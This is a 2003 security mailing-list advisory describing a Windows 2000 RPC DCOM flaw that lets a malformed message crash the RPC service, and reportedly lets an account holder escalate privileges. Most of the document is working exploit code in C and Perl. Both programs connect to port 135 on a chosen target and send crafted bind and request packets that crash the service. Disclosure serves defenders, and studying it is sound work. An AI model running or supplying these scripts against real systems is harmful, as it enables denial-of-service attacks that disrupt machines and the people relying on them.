[EXPL] Microsoft Windows 2000 RPC DCOM Interface DOS and Privilege Escalation Vulnerability

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To: list@securiteam.com
Date: 22 Jul 2003 14:05:43 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Microsoft Windows 2000 RPC DCOM Interface DOS and Privilege Escalation
Vulnerability
------------------------------------------------------------------------

SUMMARY

There is a vulnerability in the part of RPC that deals with message
exchange over TCP/IP. The failure results because of incorrect handling of
malformed messages. By sending a malformed messages to DCOM
__RemoteGetClassObject interface,The RPC Service will be crashed, and all
service and application depending on RPC service will become unstable. If
the attacker has an account, he can hijack epmapper pipe and 135 port to
elevate his security privileges (by impersontaing the RPC service).

DETAILS

Vulnerable systems:
 * Windows 2000 SP3
 * Windows 2000 SP4

Exploit code (C):
# By XFocus.org
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};

void main(int argc,char ** argv)
{
    WSADATA WSAData;
 int i;
    SOCKET sock;
    SOCKADDR_IN addr_in;
 
 short port=135;
 unsigned char buf1[0x1000];
 printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n");
printf("Code by
FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org\n");
 printf("Welcome to http://www.xfocus.net\n");
 if(argc<2)
 {
  printf("useage:%s target\n",argv[0]);
exit(1);
 }

    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d\n",WSAGetLastError());
        return;
    }

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(port);
    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
 
 if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d\n",WSAGetLastError());
        return;
    }
 if(WSAConnect(sock,(struct sockaddr
*)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
 {
  printf("Connect failed.Error:%d",WSAGetLastError());
  return;
 }
 if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
 {
   printf("Send failed.Error:%d\n",WSAGetLastError());
   return;
 }

 i=recv(sock,buf1,1024,MSG_PEEK);
 if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)
 {
   printf("Send failed.Error:%d\n",WSAGetLastError());
   return;
 }
 i=recv(sock,buf1,1024,MSG_PEEK);
}

Exploit code (Perl):
#!/usr/bin/perl -w
# By SecurITeam's Experts
my $bindstr =
"\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00\xA0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

my $request =
"\x05\x00\x00\x03\x10\x00\x00\x00\x48\x00\x00\x00\x13\x00\x00\x00\x90\x00\x00\x00\x01\x00\x03\x00\x05\x00\x06\x01\x00\x00\x00\x00\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x00\x00\x00\x00\x00\x00\x00\x00";

use Socket;
$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

$IP = $ARGV[0];
$target = inet_aton($IP);
$paddr = sockaddr_in(135, $target);

connect(S, $paddr) || die "connect: $!";

select(S); $|=1;

print $bindstr;

sleep(2);

print $request;
sleep(2);

select(STDOUT);
close(S);

ADDITIONAL INFORMATION

The information has been provided by <mailto:benjurry@xfocus.org>
benjurry and <mailto:expert@securiteam.com> SecurITeam Experts.

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